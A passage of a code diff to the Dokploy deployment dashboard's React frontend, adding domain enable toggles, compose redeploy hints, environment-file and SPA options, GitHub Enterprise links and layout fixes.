+								<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
 									<DialogHeader>
 										<DialogTitle className="text-2xl font-bold">
 											Template Information
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
 										</DialogDescription>
 									</DialogHeader>
 
-									<div className="flex flex-col gap-6">
+									<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
 										<div className="space-y-4">
 											<div className="flex items-center gap-2">
 												<Code2 className="h-5 w-5 text-primary" />
@@ -207,12 +207,14 @@ export const ShowImport = ({ composeId }: Props) => {
 													Docker Compose
 												</h3>
 											</div>
-											<CodeEditor
-												language="yaml"
-												value={templateInfo?.compose || ""}
-												className="font-mono"
-												readOnly
-											/>
+											<div className="max-h-[45vh] overflow-auto rounded-md border">
+												<CodeEditor
+													language="yaml"
+													value={templateInfo?.compose || ""}
+													className="font-mono"
+													readOnly
+												/>
+											</div>
 										</div>
 
 										<Separator />

apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx

@@ -234,7 +234,7 @@ export const HandleRedirect = ({
 									<FormItem>
 										<FormLabel>Replacement</FormLabel>
 										<FormControl>
-											<Input placeholder="http://mydomain/$${1}" {...field} />
+											<Input placeholder="http://mydomain/$1" {...field} />
 										</FormControl>
 
 										<FormMessage />

apps/dokploy/components/dashboard/application/build/show.tsx

@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
 	z.object({
 		buildType: z.literal(BuildType.nixpacks),
 		publishDirectory: z.string().optional(),
+		isStaticSpa: z.boolean().default(false),
 	}),
 	z.object({
 		buildType: z.literal(BuildType.railpack),
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
 			return {
 				buildType: BuildType.nixpacks,
 				publishDirectory: data.publishDirectory || undefined,
+				isStaticSpa: data.isStaticSpa ?? false,
 			};
 		case BuildType.paketo_buildpacks:
 			return {
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 
 	const buildType = form.watch("buildType");
 	const railpackVersion = form.watch("railpackVersion");
+	const publishDirectory = form.watch("publishDirectory");
 	const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
 
 	useEffect(() => {
@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 					? data.herokuVersion
 					: null,
 			isStaticSpa:
-				data.buildType === BuildType.static ? data.isStaticSpa : null,
+				data.buildType === BuildType.static ||
+				data.buildType === BuildType.nixpacks
+					? data.isStaticSpa
+					: null,
 			railpackVersion:
 				data.buildType === BuildType.railpack
 					? data.railpackVersion || "0.15.4"
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 								)}
 							/>
 						)}
+						{buildType === BuildType.nixpacks && publishDirectory && (
+							<FormField
+								control={form.control}
+								name="isStaticSpa"
+								render={({ field }) => (
+									<FormItem>
+										<FormControl>
+											<div className="flex items-center gap-x-2 p-2">
+												<Checkbox
+													id="checkboxIsStaticSpaNixpacks"
+													value={String(field.value)}
+													checked={field.value}
+													onCheckedChange={field.onChange}
+												/>
+												<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
+													Single Page Application (SPA)
+												</FormLabel>
+											</div>
+										</FormControl>
+										<FormMessage />
+									</FormItem>
+								)}
+							/>
+						)}
 						{buildType === BuildType.static && (
 							<FormField
 								control={form.control}

apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx

@@ -148,7 +148,7 @@ export const ShowDeployment = ({
 					<DialogDescription className="flex items-center gap-2">
 						<span className="flex items-center gap-2">
 							See all the details of this deployment |{" "}
-							<Badge variant="blank" className="text-xs">
+							<Badge variant="blank" className="text-xs tabular-nums">
 								{filteredLogs.length} lines
 							</Badge>
 						</span>

apps/dokploy/components/dashboard/application/domains/columns.tsx

@@ -14,6 +14,7 @@ import Link from "next/link";
 import { DialogAction } from "@/components/shared/dialog-action";
 import { Badge } from "@/components/ui/badge";
 import { Button } from "@/components/ui/button";
+import { Switch } from "@/components/ui/switch";
 import {
 	Tooltip,
 	TooltipContent,
@@ -35,7 +36,9 @@ interface ColumnsProps {
 	validationStates: ValidationStates;
 	handleValidateDomain: (host: string) => Promise<void>;
 	handleDeleteDomain: (domainId: string) => Promise<void>;
+	handleToggleEnable: (domainId: string) => Promise<void>;
 	isDeleting: boolean;
+	isToggling: boolean;
 	serverIp?: string;
 	canCreateDomain: boolean;
 	canDeleteDomain: boolean;
@@ -47,7 +50,9 @@ export const createColumns = ({
 	validationStates,
 	handleValidateDomain,
 	handleDeleteDomain,
+	handleToggleEnable,
 	isDeleting,
+	isToggling,
 	serverIp,
 	canCreateDomain,
 	canDeleteDomain,
@@ -249,6 +254,42 @@ export const createColumns = ({
 			);
 		},
 	},
+	{
+		id: "status",
+		header: "Status",
+		cell: ({ row }) => {
+			const domain = row.original;
+			if (!canCreateDomain) {
+				return (
+					<Badge variant={domain.enabled ? "outline" : "secondary"}>
+						{domain.enabled ? "Enabled" : "Disabled"}
+					</Badge>
+				);
+			}
+			return (
+				<TooltipProvider>
+					<Tooltip>
+						<TooltipTrigger asChild>
+							<div className="flex items-center">
+								<Switch
+									checked={domain.enabled}
+									onCheckedChange={() => handleToggleEnable(domain.domainId)}
+									disabled={isToggling}
+								/>
+							</div>
+						</TooltipTrigger>
+						<TooltipContent>
+							<p>
+								{domain.enabled
+									? "Domain is active. Toggle to disable routing without deleting it."
+									: "Domain is disabled and not routed. Toggle to enable it again."}
+							</p>
+						</TooltipContent>
+					</Tooltip>
+				</TooltipProvider>
+			);
+		},
+	},
 	{
 		id: "actions",
 		header: "Actions",

apps/dokploy/components/dashboard/application/domains/handle-domain.tsx

@@ -46,6 +46,7 @@ import {
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { api } from "@/utils/api";
+import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type CacheType = "fetch" | "cache";
 
@@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 			customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
 		})
 			.then(async () => {
-				toast.success(dictionary.success);
+				toast.success(
+					dictionary.success,
+					data.domainType === "compose"
+						? { description: COMPOSE_REDEPLOY_TOAST }
+						: undefined,
+				);
 
 				if (data.domainType === "application") {
 					await utils.domain.byApplicationId.invalidate({
@@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 				</DialogHeader>
 				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
 
-				{type === "compose" && (
-					<AlertBlock type="info" className="mb-4">
-						Whenever you make changes to domains, remember to redeploy your
-						compose to apply the changes.
-					</AlertBlock>
-				)}
+				{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
 
 				<Form {...form}>
 					<form

apps/dokploy/components/dashboard/application/domains/redeploy-hint.tsx

@@ -0,0 +1,19 @@
+import { AlertBlock } from "@/components/shared/alert-block";
+
+/**
+ * Domains attached to a compose service are rendered as docker labels and only
+ * take effect on the next deployment. These strings keep the "redeploy required"
+ * wording consistent across the add/edit dialog, the domains list and the
+ * toasts shown after create/update/delete/toggle operations.
+ */
+export const COMPOSE_REDEPLOY_HINT =
+	"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
+
+export const COMPOSE_REDEPLOY_TOAST =
+	"Redeploy the compose to apply the changes.";
+
+export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
+	<AlertBlock type="info" className={className}>
+		{COMPOSE_REDEPLOY_HINT}
+	</AlertBlock>
+);

apps/dokploy/components/dashboard/application/domains/show-domains.tsx

@@ -44,6 +44,7 @@ import {
 	DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
 import {
 	Table,
 	TableBody,
@@ -58,11 +59,13 @@ import {
 	TooltipProvider,
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
 import { createColumns } from "./columns";
 import { DnsHelperModal } from "./dns-helper-modal";
 import { AddDomain } from "./handle-domain";
 import { HandleForwardAuth } from "./handle-forward-auth";
+import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type ValidationState = {
 	isLoading: boolean;
@@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
 		api.domain.validateDomain.useMutation();
 	const { mutateAsync: deleteDomain, isPending: isRemoving } =
 		api.domain.delete.useMutation();
+	const { mutateAsync: toggleEnable, isPending: isToggling } =
+		api.domain.toggleEnable.useMutation();
+
+	const handleToggleEnable = async (domainId: string) => {
+		try {
+			const result = await toggleEnable({ domainId });
+			refetch();
+			toast.success(
+				result.enabled ? "Domain enabled" : "Domain disabled",
+				result.requiresRedeploy
+					? { description: COMPOSE_REDEPLOY_TOAST }
+					: undefined,
+			);
+		} catch {
+			toast.error("Error updating the domain");
+		}
+	};
 
 	const handleDeleteDomain = async (domainId: string) => {
 		try {
 			await deleteDomain({ domainId });
 			refetch();
-			toast.success("Domain deleted successfully");
+			toast.success(
+				"Domain deleted successfully",
+				type === "compose"
+					? { description: COMPOSE_REDEPLOY_TOAST }
+					: undefined,
+			);
 		} catch {
 			toast.error("Error deleting domain");
 		}
@@ -200,7 +225,9 @@ export const ShowDomains = ({ id, type }: Props) => {
 		validationStates,
 		handleValidateDomain,
 		handleDeleteDomain,
+		handleToggleEnable,
 		isDeleting: isRemoving,
+		isToggling,
 		serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
 		canCreateDomain,
 		canDeleteDomain,
@@ -265,6 +292,11 @@ export const ShowDomains = ({ id, type }: Props) => {
 						)}
 					</div>
 				</CardHeader>
+				{type === "compose" && data && data.length > 0 && (
+					<div className="px-6 pb-4">
+						<ComposeRedeployAlert />
+					</div>
+				)}
 				<CardContent className="flex w-full flex-row gap-4">
 					{isLoadingDomains ? (
 						<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
@@ -413,7 +445,10 @@ export const ShowDomains = ({ id, type }: Props) => {
 								return (
 									<Card
 										key={item.domainId}
-										className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
+										className={cn(
+											"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
+											!item.enabled && "opacity-60",
+										)}
 									>
 										<CardContent className="p-6">
 											<div className="flex flex-col gap-4">
@@ -466,18 +501,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 																description="Are you sure you want to delete this domain?"
 																type="destructive"
 																onClick={async () => {
-																	await deleteDomain({
-																		domainId: item.domainId,
-																	})
-																		.then((_data) => {
-																			refetch();
-																			toast.success(
-																				"Domain deleted successfully",
-																			);
-																		})
-																		.catch(() => {
-																			toast.error("Error deleting domain");
-																		});
+																	await handleDeleteDomain(item.domainId);
 																}}
 															>
 																<Button
@@ -492,15 +516,41 @@ export const ShowDomains = ({ id, type }: Props) => {
 														)}
 													</div>
 												</div>
-												<div className="w-full break-all">
-													<Link
-														className="flex items-center gap-2 text-base font-medium hover:underline"
-														target="_blank"
-														href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
-													>
-														{item.host}
-														<ExternalLink className="size-4 min-w-4" />
-													</Link>
+												<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
+													<div className="w-full break-all">
+														<Link
+															className="flex items-center gap-2 text-base font-medium hover:underline"
+															target="_blank"
+															href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
+														>
+															{item.host}
+															<ExternalLink className="size-4 min-w-4" />
+														</Link>
+													</div>
+													{canCreateDomain && (
+														<TooltipProvider>
+															<Tooltip>
+																<TooltipTrigger asChild>
+																	<div className="flex items-center shrink-0">
+																		<Switch
+																			checked={item.enabled}
+																			onCheckedChange={() =>
+																				handleToggleEnable(item.domainId)
+																			}
+																			disabled={isToggling}
+																		/>
+																	</div>
+																</TooltipTrigger>
+																<TooltipContent>
+																	<p>
+																		{item.enabled
+																			? "Domain is active. Toggle to disable routing without deleting it."
+																			: "Domain is disabled and not routed. Toggle to enable it again."}
+																	</p>
+																</TooltipContent>
+															</Tooltip>
+														</TooltipProvider>
+													)}
 												</div>
 
 												{/* Domain Details */}

apps/dokploy/components/dashboard/application/environment/show-environment.tsx

@@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import {
 	Card,
@@ -16,16 +17,20 @@ import {
 import {
 	Form,
 	FormControl,
+	FormDescription,
 	FormField,
 	FormItem,
+	FormLabel,
 	FormMessage,
 } from "@/components/ui/form";
+import { Switch } from "@/components/ui/switch";
 import { Toggle } from "@/components/ui/toggle";
 import { api } from "@/utils/api";
 import type { ServiceType } from "../advanced/show-resources";
 
 const addEnvironmentSchema = z.object({
 	environment: z.string(),
+	createEnvFile: z.boolean(),
 });
 
 type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 		? queryMap[type]()
 		: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
 	const [isEnvVisible, setIsEnvVisible] = useState(true);
+	const completionSource = useEnvCompletionSource({
+		projectEnv: data?.environment?.project?.env,
+		environmentEnv: data?.environment?.env,
+		projectId: data?.environment?.projectId,
+		environmentId: data?.environment?.environmentId,
+	});
 
 	const mutationMap = {
 		compose: () => api.compose.saveEnvironment.useMutation(),
@@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const form = useForm<EnvironmentSchema>({
 		defaultValues: {
 			environment: "",
+			createEnvFile: true,
 		},
 		resolver: zodResolver(addEnvironmentSchema),
 	});
 
 	// Watch form value
 	const currentEnvironment = form.watch("environment");
-	const hasChanges = currentEnvironment !== (data?.env || "");
+	const currentCreateEnvFile = form.watch("createEnvFile");
+	const composeData =
+		type === "compose"
+			? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
+			: undefined;
+
+	const showCreateEnvFileToggle =
+		type === "compose" &&
+		(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
+	const hasChanges =
+		currentEnvironment !== (data?.env || "") ||
+		(showCreateEnvFileToggle &&
+			currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
 
 	useEffect(() => {
 		if (data) {
 			form.reset({
 				environment: data.env || "",
+				createEnvFile: composeData?.createEnvFile ?? true,
 			});
 		}
 	}, [data, form]);
@@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 			postgresId: id || "",
 			redisId: id || "",
 			env: formData.environment,
+			...(type === "compose" && {
+				createEnvFile: formData.createEnvFile,
+			}),
 		})
 			.then(async () => {
 				toast.success("Environments Added");
@@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const handleCancel = () => {
 		form.reset({
 			environment: data?.env || "",
+			createEnvFile: composeData?.createEnvFile ?? true,
 		});
 	};
 
@@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 													} as CSSProperties
 												}
 												language="properties"
+												completionSource={completionSource}
 												disabled={isEnvVisible}
 												className="font-mono"
 												wrapperClassName="compose-file-editor"
@@ -190,6 +220,34 @@ PORT=3000
 								)}
 							/>
 
+							{showCreateEnvFileToggle && (
+								<FormField
+									control={form.control}
+									name="createEnvFile"
+									render={({ field }) => (
+										<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
+											<div className="space-y-0.5">
+												<FormLabel>Create Environment File</FormLabel>
+												<FormDescription>
+													When enabled, an .env file will be created in the same
+													directory as your compose file on every deploy.
+													Disable this to keep a repository-provided .env; the
+													variables above will then be ignored. Takes effect on
+													the next deploy.
+												</FormDescription>
+											</div>
+											<FormControl>
+												<Switch
+													checked={field.value}
+													onCheckedChange={field.onChange}
+													disabled={!canWrite}
+												/>
+											</FormControl>
+										</FormItem>
+									)}
+								/>
+							)}
+
 							{canWrite && (
 								<div className="flex flex-row justify-end gap-2">
 									{hasChanges && (

apps/dokploy/components/dashboard/application/environment/show.tsx

@@ -3,6 +3,7 @@ import { useEffect } from "react";
 import { useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import { Card } from "@/components/ui/card";
 import {
@@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 		},
 	);
 
+	const completionSource = useEnvCompletionSource({
+		projectEnv: data?.environment?.project?.env,
+		environmentEnv: data?.environment?.env,
+		projectId: data?.environment?.projectId,
+		environmentId: data?.environment?.environmentId,
+	});
+
 	const form = useForm<EnvironmentSchema>({
 		defaultValues: {
 			env: "",
@@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 							</span>
 						}
 						placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
+						completionSource={completionSource}
 					/>
 					{data?.buildType === "dockerfile" && (
 						<Secrets
@@ -163,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 								</span>
 							}
 							placeholder="NPM_TOKEN=xyz"
+							completionSource={completionSource}
 						/>
 					)}
 					{data?.buildType === "dockerfile" && (
@@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 								</span>
 							}
 							placeholder="NPM_TOKEN=xyz"
+							completionSource={completionSource}
 						/>
 					)}
 					{data?.buildType === "dockerfile" && (

apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx

@@ -47,6 +47,7 @@ import {
 } from "@/components/ui/tooltip";
 import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
 
 const GithubProviderSchema = z.object({
 	buildPath: z.string().min(1, "Path is required").default("/"),
@@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 
 	const repository = form.watch("repository");
 	const githubId = form.watch("githubId");
+
+	// Enterprise repositories do not live on github.com.
+	const providerUrl =
+		githubProviders?.find((provider) => provider.githubId === githubId)
+			?.githubUrl ?? DEFAULT_GITHUB_URL;
 	const triggerType = form.watch("triggerType");
 
 	const { data: repositories, isPending: isLoadingRepositories } =
@@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 										<FormLabel>Repository</FormLabel>
 										{field.value.owner && field.value.repo && (
 											<Link
-												href={`https://github.com/${field.value.owner}/${field.value.repo}`}
+												href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
 												target="_blank"
 												rel="noopener noreferrer"
 												className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"

apps/dokploy/components/dashboard/application/icon/show-icon-settings.tsx

@@ -1,5 +1,5 @@
 import DOMPurify from "dompurify";
-import { GlobeIcon, Pencil, Search, X } from "lucide-react";
+import { CircuitBoard, GlobeIcon, Pencil, Search, X } from "lucide-react";
 import { useEffect, useMemo, useState } from "react";
 import { toast } from "sonner";
 import { Button } from "@/components/ui/button";
@@ -16,7 +16,8 @@ import { type BundledIcon, bundledIcons } from "@/lib/bundled-icons";
 import { api } from "@/utils/api";
 
 interface ShowIconSettingsProps {
-	applicationId: string;
+	serviceId: string;
+	serviceType: "application" | "compose";
 	icon?: string | null;
 }
 
@@ -26,7 +27,8 @@ const svgToDataUrl = (icon: BundledIcon): string => {
 };
 
 export const ShowIconSettings = ({
-	applicationId,
+	serviceId,
+	serviceType,
 	icon,
 }: ShowIconSettingsProps) => {
 	const [open, setOpen] = useState(false);
@@ -48,6 +50,17 @@ export const ShowIconSettings = ({
 	const utils = api.useUtils();
 	const { mutateAsync: updateApplication } =
 		api.application.update.useMutation();
+	const { mutateAsync: updateCompose } = api.compose.update.useMutation();
+
+	const updateIcon = async (newIcon: string | null) => {
+		if (serviceType === "compose") {
+			await updateCompose({ composeId: serviceId, icon: newIcon });
+			await utils.compose.one.invalidate({ composeId: serviceId });
+		} else {
+			await updateApplication({ applicationId: serviceId, icon: newIcon });
+			await utils.application.one.invalidate({ applicationId: serviceId });
+		}
+	};
 
 	useEffect(() => {
 		if (open) {
@@ -59,12 +72,8 @@ export const ShowIconSettings = ({
 	const handleIconSelect = async (selectedIcon: BundledIcon) => {
 		try {
 			const dataUrl = svgToDataUrl(selectedIcon);
-			await updateApplication({
-				applicationId,
-				icon: dataUrl,
-			});
+			await updateIcon(dataUrl);
 			toast.success("Icon saved successfully");
-			await utils.application.one.invalidate({ applicationId });
 			setOpen(false);
 		} catch (_error) {
 			toast.error("Error saving icon");
@@ -73,12 +82,8 @@ export const ShowIconSettings = ({
 
 	const handleRemoveIcon = async () => {
 		try {
-			await updateApplication({
-				applicationId,
-				icon: null,
-			});
+			await updateIcon(null);
 			toast.success("Icon removed");
-			await utils.application.one.invalidate({ applicationId });
 		} catch (_error) {
 			toast.error("Error removing icon");
 		}
@@ -130,12 +135,8 @@ export const ShowIconSettings = ({
 				return;
 			}
 			try {
-				await updateApplication({
-					applicationId,
-					icon: sanitizedDataUrl,
-				});
+				await updateIcon(sanitizedDataUrl);
 				toast.success("Icon saved!");
-				await utils.application.one.invalidate({ applicationId });
 				setOpen(false);
 			} catch (_error) {
 				toast.error("Error saving icon");
@@ -147,12 +148,8 @@ export const ShowIconSettings = ({
 		reader.onload = async (event) => {
 			const result = event.target?.result as string;
 			try {
-				await updateApplication({
-					applicationId,
-					icon: result,
-				});
+				await updateIcon(result);
 				toast.success("Icon saved!");
-				await utils.application.one.invalidate({ applicationId });
 				setOpen(false);
 			} catch (_error) {
 				toast.error("Error saving icon");
@@ -172,9 +169,11 @@ export const ShowIconSettings = ({
 						// biome-ignore lint/performance/noImgElement: icon is data URL or base64
 						<img
 							src={icon}
-							alt="Application icon"
+							alt="Service icon"
 							className="h-8 w-8 object-contain"
 						/>
+					) : serviceType === "compose" ? (
+						<CircuitBoard className="h-6 w-6 text-muted-foreground" />
 					) : (
 						<GlobeIcon className="h-6 w-6 text-muted-foreground" />
 					)}

apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx

@@ -50,6 +50,7 @@ interface Props {
 	id: string;
 	type: "application" | "compose";
 	serverId?: string;
+	trigger?: React.ReactNode;
 }
 
 const RestoreBackupSchema = z.object({
@@ -64,7 +65,12 @@ const RestoreBackupSchema = z.object({
 	}),
 });
 
-export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
+export const RestoreVolumeBackups = ({
+	id,
+	type,
+	serverId,
+	trigger,
+}: Props) => {
 	const [isOpen, setIsOpen] = useState(false);
 	const [search, setSearch] = useState("");
 	const [debouncedSearchTerm, setDebouncedSearchTerm] = useState("");
@@ -144,10 +150,12 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
 	return (
 		<Dialog open={isOpen} onOpenChange={setIsOpen}>
 			<DialogTrigger asChild>
-				<Button variant="outline">
-					<RotateCcw className="mr-2 size-4" />
-					Restore Volume Backup
-				</Button>
+				{trigger ?? (
+					<Button variant="outline">
+						<RotateCcw className="mr-2 size-4" />
+						Restore Volume Backup
+					</Button>
+				)}
 			</DialogTrigger>
 			<DialogContent className="sm:max-w-lg">
 				<DialogHeader>

apps/dokploy/components/dashboard/compose/advanced/add-isolation.tsx

@@ -6,6 +6,7 @@ import { toast } from "sonner";
 import { z } from "zod";
 import { AlertBlock } from "@/components/shared/alert-block";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { Badge } from "@/components/ui/badge";
 import { Button } from "@/components/ui/button";
 import {
 	Card,
@@ -111,7 +112,10 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
 	return (
 		<Card className="bg-background">
 			<CardHeader>
-				<CardTitle className="text-xl">Enable Isolated Deployment</CardTitle>
+				<CardTitle className="text-xl flex items-center gap-2">
+					Enable Isolated Deployment
+					<Badge variant="yellow">Deprecated</Badge>
+				</CardTitle>
 				<CardDescription>
 					Configure isolated deployment to the compose file.
 					<div className="text-sm text-muted-foreground flex flex-col gap-2">
@@ -138,6 +142,11 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
 			</CardHeader>
 			<CardContent>
 				<div className="space-y-4">
+					<AlertBlock type="warning">
+						Isolated deployment is deprecated. Use the Networks section above to
+						attach networks per service and detach them from dokploy-network —
+						it is declarative and does not break on restarts.
+					</AlertBlock>
 					{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
 					<Form {...form}>
 						<form

apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx

@@ -47,6 +47,7 @@ import {
 } from "@/components/ui/tooltip";
 import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
 
 const GithubProviderSchema = z.object({
 	composePath: z.string().min(1),
@@ -98,6 +99,11 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 	const repository = form.watch("repository");
 	const githubId = form.watch("githubId");
 	const triggerType = form.watch("triggerType");
+
+	// Enterprise repositories do not live on github.com.
+	const providerUrl =
+		githubProviders?.find((provider) => provider.githubId === githubId)
+			?.githubUrl ?? DEFAULT_GITHUB_URL;
 	const { data: repositories, isPending: isLoadingRepositories } =
 		api.github.getGithubRepositories.useQuery(
 			{
@@ -220,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 										<FormLabel>Repository</FormLabel>
 										{field.value.owner && field.value.repo && (
 											<Link
-												href={`https://github.com/${field.value.owner}/${field.value.repo}`}
+												href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
 												target="_blank"
 												rel="noopener noreferrer"
 												className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"

apps/dokploy/components/dashboard/compose/general/show-converted-compose.tsx

@@ -52,7 +52,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
 					Preview Compose
 				</Button>
 			</DialogTrigger>
-			<DialogContent className="sm:max-w-6xl max-h-200">
+			<DialogContent className="sm:max-w-6xl max-h-[85vh] flex flex-col">
 				<DialogHeader>
 					<DialogTitle>Converted Compose</DialogTitle>
 					<DialogDescription>
@@ -62,10 +62,6 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
 				</DialogHeader>
 				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
 
-				<AlertBlock type="info" className="mb-4">
-					Preview your docker-compose file with added domains. Note: At least
-					one domain must be specified for this conversion to take effect.
-				</AlertBlock>
 				{isPending ? (
 					<div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md">
 						<Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" />
@@ -79,7 +75,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
 					</div>
 				) : (
 					<>
-						<div className="flex flex-row gap-2 justify-end my-4">
+						<div className="flex flex-row gap-2 justify-end">
 							<Button
 								variant="secondary"
 								isLoading={isPending}
@@ -100,14 +96,15 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
 							</Button>
 						</div>
 
-						<pre>
+						<div className="flex-1 min-h-0 overflow-auto rounded-md border">
 							<CodeEditor
 								value={compose || ""}
 								language="yaml"
 								readOnly
-								height="50rem"
+								height="100%"
+								wrapperClassName="h-full"
 							/>
-						</pre>
+						</div>
 					</>
 				)}
 			</DialogContent>

apps/dokploy/components/dashboard/database/backups/restore-backup.tsx

@@ -74,6 +74,7 @@ interface Props {
 	databaseType?: DatabaseType;
 	serverId?: string | null;
 	backupType?: "database" | "compose";
+	trigger?: React.ReactNode;
 }
 
 const RestoreBackupSchema = z
@@ -200,6 +201,7 @@ export const RestoreBackup = ({
 	databaseType,
 	serverId,
 	backupType = "database",
+	trigger,
 }: Props) => {
 	const [isOpen, setIsOpen] = useState(false);
 	const [search, setSearch] = useState("");
@@ -311,10 +313,12 @@ export const RestoreBackup = ({
 	return (
 		<Dialog open={isOpen} onOpenChange={setIsOpen}>
 			<DialogTrigger asChild>
-				<Button variant="outline">
-					<RotateCcw className="mr-2 size-4" />
-					Restore Backup
-				</Button>
+				{trigger ?? (
+					<Button variant="outline">
+						<RotateCcw className="mr-2 size-4" />
+						Restore Backup
+					</Button>
+				)}
 			</DialogTrigger>
 			<DialogContent className="sm:max-w-2xl">
 				<DialogHeader>

apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx

@@ -14,10 +14,11 @@ import {
 import type { inferRouterOutputs } from "@trpc/server";
 import {
 	ArrowUpDown,
-	Boxes,
 	ChevronLeft,
 	ChevronRight,
+	CircuitBoard,
 	ExternalLink,
+	GlobeIcon,
 	Loader2,
 	Rocket,
 	Server,
@@ -71,24 +72,26 @@ function getServiceInfo(d: DeploymentRow) {
 		return {
 			type: "Application" as const,
 			name: app.name,
+			icon: app.icon,
 			projectId: app.environment.project.projectId,
 			environmentId: app.environment.environmentId,
 			projectName: app.environment.project.name,
 			environmentName: app.environment.name,
 			serviceId: app.applicationId,
-			href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}`,
+			href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}?tab=deployments`,
 		};
 	}
 	if (comp?.environment?.project && comp.environment) {
 		return {
 			type: "Compose" as const,
 			name: comp.name,
+			icon: comp.icon,
 			projectId: comp.environment.project.projectId,
 			environmentId: comp.environment.environmentId,
 			projectName: comp.environment.project.name,
 			environmentName: comp.environment.name,
 			serviceId: comp.composeId,
-			href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}`,
